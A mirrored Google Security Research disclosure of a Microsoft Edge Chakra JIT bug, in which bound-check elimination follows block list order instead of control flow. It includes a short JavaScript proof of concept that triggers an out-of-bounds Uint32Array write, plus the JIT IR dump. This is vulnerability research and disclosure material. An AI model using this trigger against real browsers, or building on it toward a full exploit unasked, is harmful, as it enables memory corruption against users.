首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge Chakra JIT - Bound Check Elimination Bug
来源:Google Security Research 作者:Google 发布时间:2018-05-22  
/*
Chakra uses the InvariantBlockBackwardIterator class to backpropagate the information about the hoisted bound checks. But the class follows the linked list instaed of the control flow. This may lead to incorrectly remove the bound checks.
 
In the following code, currentBlock's block number is 4 and hoistBlock's block number is 1 (please see the IR code). I assume it should visit 4 -> 3 (skipped) -> 1 (break) in order with following the control flow, but it actually visits 4 -> 3 (skipped) -> 2 -> 1 (break) in order. This makes the block 2 have the wrong information about the bounds which affects the bound checks in the block 5 to be removed.
 
https://github.com/Microsoft/ChakraCore/blob/48c73e51c3e0fb36a08fa844cdb88c9d8a54de32/lib/Backend/GlobOpt.cpp#L14667
 
if(hoistBlock != currentBlock)
{
    for(InvariantBlockBackwardIterator it(this, currentBlock->next, hoistBlock, nullptr);
        it.IsValid();
        it.MoveNext())
    {
        BasicBlock *const block = it.Block();
        ...
 
PoC:
*/
 
function opt(arr, idx) {
    ((arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234);
}
 
function main() {
    let arr = new Uint32Array(1);
    for (let i = 0; i < 10000; i++) {
        opt(arr);
    }
}
 
main();
 
/*
Here's the IR code for the PoC:
 
  FunctionEntry   #
---------
 
BLOCK 0: Out(1, 2)
 
$L8:                                                                          #
    s1[Object].var  =  Ld_A           0xXXXXXXXX (GlobalObject)[Object].var   #
    s21(s2)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  2147483632 (0x7FFFFFF0)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
    s3[Boolean].var =  Ld_A           0xXXXXXXXX (false)[Boolean].var         #
    s22(s4)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  2147483633 (0x7FFFFFF1)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
    s23(s5)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  286331153 (0x11111111)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
    s24(s6)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #
    s7[LikelyCanBeTaggedValue_Uint32Array].var = ArgIn_A  prm2<40>[LikelyCanBeTaggedValue_Uint32Array].var! #
    s8[LikelyUndefined_CanBeTaggedValue].var = ArgIn_A  prm3<48>[LikelyUndefined_CanBeTaggedValue].var! #
 
 
  Line   2: arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234);
  Col    7: ^
                       StatementBoundary  #0                                  #0000
                       BailOnNotArray  s7[LikelyCanBeTaggedValue_Uint32Array].var #0000  Bailout: #0000 (BailOutOnNotArray)
    s25.u32         =  LdIndir        [s7[Uint32Array].var+32].u32            #0000
                       NoImplicitCallUses  s25.u32                            #0000
                       ByteCodeUses   s7                                      #0000
    s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  s25.u32      #0000
    s15[Boolean].var = Ld_A           0xXXXXXXXX (false)[Boolean].var         #0004
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (false)[Boolean].var         #0004
                       ByteCodeUses   s10                                     #0004
                       BrNeq_I4       $L4, s26(s10)[CanBeTaggedValue_Int_IntCanBeUntagged].i32!, 2147483632 (0x7FFFFFF0).i32 #0004
---------
 
BLOCK 1: In(0) Out(2, 3)
 
$L7:                                                                          #0008
    s15[Boolean].var = Ld_A           0xXXXXXXXX (true)[Boolean].var          #0008
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (true)[Boolean].var          #0008
                       BoundCheck     2147483633 < s25.u32                    #000f  Bailout: #000f (BailOutOnFailedHoistedBoundCheck)
    s27.u64         =  LdIndir        [s7[Uint32Array].var+56].u64            #000f
                       NoImplicitCallUses  s25.u32                            #000f
    s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A  [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483632].var #000f  Bailout: #000f (BailOutConventionalTypedArrayAccessOnly)
                       ByteCodeUses   s16                                     #0015
    s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0015
    s9[CanBeTaggedValue_Int].var = ToVar  s29(s9)[CanBeTaggedValue_Int].i32   #0018
                       ByteCodeUses   s16                                     #0018
                       BrTrue_I4      $L3, s28(s16)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0018
---------
 
BLOCK 2: In(0, 1) Out(5)
 
$L4:                                                                          #001c
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (false)[Boolean].var         #001c
                       Br             $L2                                     #001e
---------
 
BLOCK 3: In(1) Out(4) DeadOut(5)
 
$L3:                                                                          #0021
                       NoImplicitCallUses  s25.u32                            #0021
                       ByteCodeUses   s7                                      #0021
    s30(s17)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  s25.u32      #0021
    s18[Boolean].var = Ld_A           0xXXXXXXXX (false)[Boolean].var         #0025
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (false)[Boolean].var         #0025
                       ByteCodeUses   s17                                     #0025
---------
 
BLOCK 4: In(3) Out(8, 5)
 
$L6:                                                                          #0029
    s18[Boolean].var = Ld_A           0xXXXXXXXX (true)[Boolean].var          #0029
    s9[Boolean].var =  Ld_A           0xXXXXXXXX (true)[Boolean].var          #0029
                       NoImplicitCallUses  s25.u32                            #0030
    s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = LdElemI_A  [s7[Uint32Array][seg: s27][segLen: s25][><].var+2147483633].var #0030  Bailout: #0030 (BailOutConventionalTypedArrayAccessOnly)
                       ByteCodeUses   s19                                     #0036
    s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0036
    s9[CanBeTaggedValue_Int].var = ToVar  s29(s9)[CanBeTaggedValue_Int].i32   #0039
                       ByteCodeUses   s19                                     #0039
                       BrTrue_I4      $L9, s31(s19)[CanBeTaggedValue_Int_IntCanBeUntagged].i32! #0039
---------
 
BLOCK 5: In(2, 4) Out(6) DeadIn(3)
 
$L2:                                                                          #003d
    s32.u64         =  LdIndir        [s7[Uint32Array].var+56].u64            #003d
                       NoImplicitCallUses  s25.u32                            #003d
    [s7[Uint32Array][seg: s32][segLen: s25][><].var+286331153].var = StElemI_A  4660 (0x1234).i32 #003d  Bailout: #003d (BailOutConventionalTypedArrayAccessOnly)
    s33(s20)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0043
                       ByteCodeUses   s20                                     #0046
    s29(s9)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 = Ld_I4  4660 (0x1234)[CanBeTaggedValue_Int_IntCanBeUntagged].i32 #0046
    s34.u64         =  Ld_A           s32.u64                                 #004b
                       Br             $L1                                     #004b
---------
 
BLOCK 8: **** Air lock Block **** In(4) Out(6)
 
$L9:                                                                          #004b
    s34.u64         =  Ld_A           s27.u64                                 #004b
                       Br             $L1                                     #004b
---------
 
BLOCK 6: In(8, 5) Out(7)
 
$L1:                                                                          #004b
    s0[Undefined].var = Ld_A          0xXXXXXXXX (undefined)[Undefined].var   #004b
 
 
  Line   3: }
  Col    1: ^
                       StatementBoundary  #1                                  #004d
                       StatementBoundary  #-1                                 #004d
                       Ret            s0[Undefined].var!                      #004d
---------
 
BLOCK 7: In(6)
 
$L5:                                                                          #
----------------------------------------------------------------------------------------
*/
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DynoRoot DHCP - Client Command
·Easy MPEG to DVD Burner 1.7.11
·Prime95 29.4b8 - Stack Buffer
·GitBucket 4.23.1 - Remote Code
·HPE iMC 7.3 - Remote Code Exec
·Linux 2.6.30 < 2.6.36-rc8 - Re
·AF_PACKET packet_set_ring Priv
·R 3.4.4 - Local Buffer Overflo
·Apache Struts 2 - Struts 1 Plu
·Adobe Experience Manager (AEM)
·Jenkins CLI - HTTP Java Deseri
·Siemens SIMATIC S7-1500 CPU -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved